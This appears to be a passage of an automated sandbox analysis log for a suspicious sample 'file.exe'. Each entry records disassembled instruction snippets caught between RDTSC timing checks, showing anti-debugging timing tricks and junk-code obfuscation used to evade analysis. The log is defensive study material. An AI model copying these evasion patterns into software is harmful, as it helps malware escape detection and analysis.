Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D3FF second address: 70D404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D404 second address: 70D47D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F145915A7CFh 0x00000012 js 00007F145915A7C8h 0x00000018 mov ch, 2Fh 0x0000001a push 0000001Eh 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007F145915A7C8h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 or edx, dword ptr [ebp+122D29FCh] 0x0000003c nop 0x0000003d jmp 00007F145915A7D5h 0x00000042 push eax 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F145915A7CFh 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D47D second address: 70D496 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521AC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D7AD second address: 70D7CB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F145915A7D1h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D7CB second address: 70D7D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D7D1 second address: 70D834 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F145915A7C8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov ecx, dword ptr [ebp+122D345Fh] 0x00000029 lea eax, dword ptr [ebp+1248021Fh] 0x0000002f mov dl, FAh 0x00000031 mov edx, 4ED78BB4h 0x00000036 nop 0x00000037 js 00007F145915A7D2h 0x0000003d jg 00007F145915A7CCh 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 jne 00007F145915A7CCh 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D834 second address: 6F39F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F1458521ABAh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e call 00007F1458521ABFh 0x00000013 jbe 00007F1458521AB9h 0x00000019 mov dx, ax 0x0000001c pop ecx 0x0000001d lea eax, dword ptr [ebp+124801DBh] 0x00000023 push esi 0x00000024 pushad 0x00000025 sub dword ptr [ebp+12461130h], eax 0x0000002b mov cx, bx 0x0000002e popad 0x0000002f pop ecx 0x00000030 push eax 0x00000031 jp 00007F1458521ABCh 0x00000037 mov dword ptr [esp], eax 0x0000003a mov ecx, ebx 0x0000003c call dword ptr [ebp+124534E7h] 0x00000042 jnp 00007F1458521AE7h 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F1458521ABFh 0x0000004f jmp 00007F1458521AC8h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F39F3 second address: 6F3A08 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F145915A7D8h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3A08 second address: 6F3A0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745DB5 second address: 745DD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7D7h 0x00000007 jc 00007F145915A7C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745DD6 second address: 745E08 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jne 00007F1458521AB6h 0x00000009 jnl 00007F1458521AB6h 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F1458521AC2h 0x0000001c pop edx 0x0000001d jnc 00007F1458521AB8h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746230 second address: 74623A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F145915A7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74623A second address: 746242 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746242 second address: 746246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746246 second address: 74624A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74624A second address: 74627B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F145915A7C6h 0x0000000d jmp 00007F145915A7CAh 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jnc 00007F145915A7C6h 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 push edi 0x00000023 pushad 0x00000024 popad 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 pop edi 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74627B second address: 74627F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746575 second address: 746580 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007F145915A7C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7466B3 second address: 7466B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7466B7 second address: 7466F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F145915A7DDh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F145915A7D5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746868 second address: 74686D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749DBE second address: 749DD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749DD5 second address: 749E18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1458521AC5h 0x00000008 jmp 00007F1458521ABAh 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1458521AC3h 0x0000001a jnl 00007F1458521AB6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749E18 second address: 749E1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751C62 second address: 751C68 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751C68 second address: 751C74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jo 00007F145915A7C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751C74 second address: 751C83 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1458521AB6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751DFD second address: 751E09 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F145915A7C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751E09 second address: 751E0E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751F67 second address: 751F6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751F6B second address: 751F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751F71 second address: 751F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F145915A7D1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75267E second address: 752682 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7527F8 second address: 7527FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7527FC second address: 752808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75296E second address: 752973 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757789 second address: 75778E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758605 second address: 75865C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F145915A7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007F145915A7D4h 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 push edi 0x00000014 pop edi 0x00000015 pop edi 0x00000016 pushad 0x00000017 jmp 00007F145915A7D8h 0x0000001c jng 00007F145915A7C6h 0x00000022 pushad 0x00000023 popad 0x00000024 push edi 0x00000025 pop edi 0x00000026 popad 0x00000027 popad 0x00000028 push ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F145915A7CBh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75865C second address: 758660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D36B second address: 75D36F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D064 second address: 75D078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F1458521ABAh 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D078 second address: 75D07C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D07C second address: 75D09F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F1458521AC7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D09F second address: 75D0A5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D0A5 second address: 75D0AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7659E2 second address: 7659FE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F145915A7C6h 0x00000008 jl 00007F145915A7C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jg 00007F145915A7C6h 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7659FE second address: 765A03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765A03 second address: 765A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F145915A7C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76507A second address: 7650A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521AC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1458521ABBh 0x00000010 jnl 00007F1458521AB6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7650A5 second address: 7650AF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F145915A7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76520F second address: 765214 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765214 second address: 765273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F145915A7D6h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e jmp 00007F145915A7D4h 0x00000013 pop ebx 0x00000014 jmp 00007F145915A7CFh 0x00000019 push eax 0x0000001a push edx 0x0000001b jl 00007F145915A7C6h 0x00000021 jmp 00007F145915A7D4h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765273 second address: 765279 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7656CF second address: 7656D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769BA3 second address: 769BA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769BA7 second address: 769BB6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F145915A7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769BB6 second address: 769BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768E97 second address: 768E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768E9B second address: 768E9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769167 second address: 76916B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7692D5 second address: 7692FE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1458521ABCh 0x00000008 ja 00007F1458521AB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1458521AC7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7692FE second address: 769306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769306 second address: 76930A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76944B second address: 76944F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76944F second address: 769458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7695D8 second address: 7695DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7695DE second address: 769605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jmp 00007F1458521ABFh 0x0000000d jmp 00007F1458521ABDh 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E73E second address: 76E771 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F145915A7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F145915A7D2h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 jmp 00007F145915A7D0h 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D2AA second address: 70D2FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F1458521AB8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 mov edi, 02FBDF3Bh 0x00000028 push 00000004h 0x0000002a xor dx, C206h 0x0000002f mov ecx, dword ptr [ebp+122D2A08h] 0x00000035 push eax 0x00000036 pushad 0x00000037 jl 00007F1458521AB8h 0x0000003d jnl 00007F1458521ABCh 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76ECD2 second address: 76ECD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EDF9 second address: 76EDFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EDFD second address: 76EE17 instructions: 0x00000000 rdtsc 0x00000002 js 00007F145915A7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F145915A7CAh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EE17 second address: 76EE1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F7B6 second address: 76F7BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F7BC second address: 76F808 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1458521AC8h 0x0000000b pushad 0x0000000c jmp 00007F1458521AC7h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F1458521ABFh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F808 second address: 76F80C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F80C second address: 76F82A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F1458521ABCh 0x0000000f pushad 0x00000010 jbe 00007F1458521AB6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F82A second address: 76F835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F145915A7C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F835 second address: 76F84D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521ABEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F1458521AB6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F84D second address: 76F853 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77903C second address: 779045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779045 second address: 779075 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F145915A7CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F145915A7D1h 0x00000011 jmp 00007F145915A7CDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779075 second address: 7790AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F1458521AB6h 0x00000009 jmp 00007F1458521ABBh 0x0000000e jmp 00007F1458521AC2h 0x00000013 jno 00007F1458521AB6h 0x00000019 popad 0x0000001a js 00007F1458521ACBh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776F73 second address: 776F78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776F78 second address: 776F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7770D3 second address: 7770D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7770D7 second address: 7770E9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1458521AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F1458521AB8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778109 second address: 77811D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77811D second address: 778121 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778121 second address: 77813D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F145915A7D2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
